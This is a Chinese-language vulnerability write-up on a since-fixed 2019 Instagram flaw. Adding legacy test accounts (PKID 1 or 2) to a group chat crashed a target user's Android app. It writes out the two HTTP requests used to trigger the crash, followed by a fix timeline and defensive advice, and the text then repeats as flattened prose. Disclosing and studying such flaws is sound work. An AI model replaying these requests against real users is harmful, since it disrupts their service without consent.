挖洞经验 | 利用两个僵尸账户实现对任意Instagram账户的远程崩溃
字数 1339 2025-08-18 11:39:03

Instagram僵尸账户远程崩溃漏洞分析报告

漏洞概述

本报告详细分析了Instagram平台中存在的一个安全漏洞,该漏洞允许攻击者利用两个特殊的"僵尸账户"实现对任意Instagram账户的远程崩溃攻击。漏洞的核心在于Instagram后端数据库中存在两个用户名构造异常的测试账户,通过特定的API调用序列可触发目标用户的客户端崩溃。

技术背景

Instagram用户标识机制

Instagram使用简单的主键标识符(Primary Key ID, PKID)递增方式来分配用户账户。这种设计相比全局标识符(GUID)具有以下优势:

  • 容易记忆
  • 增量变化便于快速查询
  • 产生的数据库碎片较少
  • 遵循特定模式
  • 占用存储空间小

僵尸账户发现

研究发现:

  • PKID=3或4对应Instagram创始人Mike Krieger的账户
  • PKID=1和2对应两个特殊测试账户
  • 这两个账户的用户名数据结构中包含空字符串("")
  • 这些账户可能是Instagram alpha测试阶段创建的,但未被删除

漏洞分析

根本原因

服务端对空字符串("")的处理不当,导致在特定操作下会触发客户端解析错误,进而引发崩溃。

攻击向量

利用Instagram的群组聊天功能作为攻击媒介:

  1. 创建包含目标用户的临时聊天群组
  2. 向群组中添加特殊的僵尸账户(PKID=1或2)
  3. 触发客户端解析异常,导致目标用户应用崩溃

漏洞利用步骤

1. 创建初始群组

请求端点:/api/v1/direct_v2/create_group_thread/

请求示例:

POST /api/v1/direct_v2/create_group_thread/ HTTP/1.1
User-Agent: Instagram ....
Accept-Language: en-US
Cookie: urlgen= ....
Accept-Encoding: gzip, deflate
Host:i.instagram.com
X-FB-HTTP-Engine: Liger
Connection: close
Content-Length: 353

signed_body=d963d5f048924a58712d8bcf7912ac76a7c3c990199c7d59ac25e7990e142f49.{"recipient_users":"[xxxxxxxxxx]","_csrftoken":"WBpZmckmENi6eiubd26Osz6SIR3vtowu","thread_title":"bdbdbdbdbdxb","_uid":"12579513534","_uuid":"d18570eb-0663-40f4-bcc3-0c48a5031cee"}&ig_sig_key_version=4

关键参数:

  • recipient_users: 目标用户的Instagram ID
  • _csrftoken: CSRF防护令牌
  • _uid: 当前用户ID
  • _uuid: 唯一请求标识符

2. 添加僵尸账户

从创建群组的响应中获取群组ID(yyyyyyyyyy),然后发送添加用户请求:

请求端点:/api/v1/direct_v2/threads/[GROUP_ID]/add_user/

请求示例:

POST /api/v1/direct_v2/threads/yyyyyyyyyy/add_user/ HTTP/1.1
User-Agent: Instagram ....
Accept-Language: en-US
Cookie: urlgen= ....
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Host:i.instagram.com
X-FB-HTTP-Engine: Liger
Connection: close
Content-Length: 109

_csrftoken=Pod4ZKSSLYUYMPs2TxhN5Xkmsv6xUOsO&user_ids=["2"]&_uuid=d18570eb-0663-40f4-bcc3-0c48a5031cee

关键参数:

  • user_ids=["2"]: 添加PKID=2的僵尸账户
  • 其他认证和标识参数同上

攻击效果

  • 目标用户的Instagram应用立即崩溃
  • 所有群组成员被强制退出群组
  • 攻击可在Android平台Instagram 8.0版本上稳定复现

漏洞修复时间线

  • 2019.5.2 - 2019.9.9: 与Facebook安全团队进行多轮沟通确认
  • 2019.9.9: 漏洞最终修复

安全建议

  1. 输入验证:服务端应对所有用户输入进行严格验证,特别是对特殊字符和空值的处理
  2. 测试账户清理:及时清理测试环境和生产环境中的测试账户
  3. 错误处理:完善客户端对异常数据的处理机制,避免因解析错误导致崩溃
  4. API安全:对敏感API操作增加额外的权限验证和输入过滤

总结

本漏洞展示了社交媒体平台中几个关键安全问题:

  1. 遗留测试账户可能成为安全隐患
  2. 简单的递增ID分配机制可能暴露系统内部信息
  3. 客户端与服务端的数据处理不一致可能导致严重漏洞
  4. 群组功能等社交互动特性可能被滥用为攻击媒介

该案例强调了在系统设计和维护过程中全面考虑边缘情况和异常处理的重要性。

Instagram僵尸账户远程崩溃漏洞分析报告 漏洞概述 本报告详细分析了Instagram平台中存在的一个安全漏洞,该漏洞允许攻击者利用两个特殊的"僵尸账户"实现对任意Instagram账户的远程崩溃攻击。漏洞的核心在于Instagram后端数据库中存在两个用户名构造异常的测试账户,通过特定的API调用序列可触发目标用户的客户端崩溃。 技术背景 Instagram用户标识机制 Instagram使用简单的 主键标识符(Primary Key ID, PKID) 递增方式来分配用户账户。这种设计相比全局标识符(GUID)具有以下优势: 容易记忆 增量变化便于快速查询 产生的数据库碎片较少 遵循特定模式 占用存储空间小 僵尸账户发现 研究发现: PKID=3或4对应Instagram创始人Mike Krieger的账户 PKID=1和2对应两个特殊测试账户 这两个账户的用户名数据结构中包含 空字符串("") 这些账户可能是Instagram alpha测试阶段创建的,但未被删除 漏洞分析 根本原因 服务端对空字符串("")的处理不当,导致在特定操作下会触发客户端解析错误,进而引发崩溃。 攻击向量 利用Instagram的 群组聊天功能 作为攻击媒介: 创建包含目标用户的临时聊天群组 向群组中添加特殊的僵尸账户(PKID=1或2) 触发客户端解析异常,导致目标用户应用崩溃 漏洞利用步骤 1. 创建初始群组 请求端点: /api/v1/direct_v2/create_group_thread/ 请求示例: 关键参数: recipient_users : 目标用户的Instagram ID _csrftoken : CSRF防护令牌 _uid : 当前用户ID _uuid : 唯一请求标识符 2. 添加僵尸账户 从创建群组的响应中获取群组ID( yyyyyyyyyy ),然后发送添加用户请求: 请求端点: /api/v1/direct_v2/threads/[GROUP_ID]/add_user/ 请求示例: 关键参数: user_ids=["2"] : 添加PKID=2的僵尸账户 其他认证和标识参数同上 攻击效果 目标用户的Instagram应用立即崩溃 所有群组成员被强制退出群组 攻击可在Android平台Instagram 8.0版本上稳定复现 漏洞修复时间线 2019.5.2 - 2019.9.9: 与Facebook安全团队进行多轮沟通确认 2019.9.9: 漏洞最终修复 安全建议 输入验证 :服务端应对所有用户输入进行严格验证,特别是对特殊字符和空值的处理 测试账户清理 :及时清理测试环境和生产环境中的测试账户 错误处理 :完善客户端对异常数据的处理机制,避免因解析错误导致崩溃 API安全 :对敏感API操作增加额外的权限验证和输入过滤 总结 本漏洞展示了社交媒体平台中几个关键安全问题: 遗留测试账户可能成为安全隐患 简单的递增ID分配机制可能暴露系统内部信息 客户端与服务端的数据处理不一致可能导致严重漏洞 群组功能等社交互动特性可能被滥用为攻击媒介 该案例强调了在系统设计和维护过程中全面考虑边缘情况和异常处理的重要性。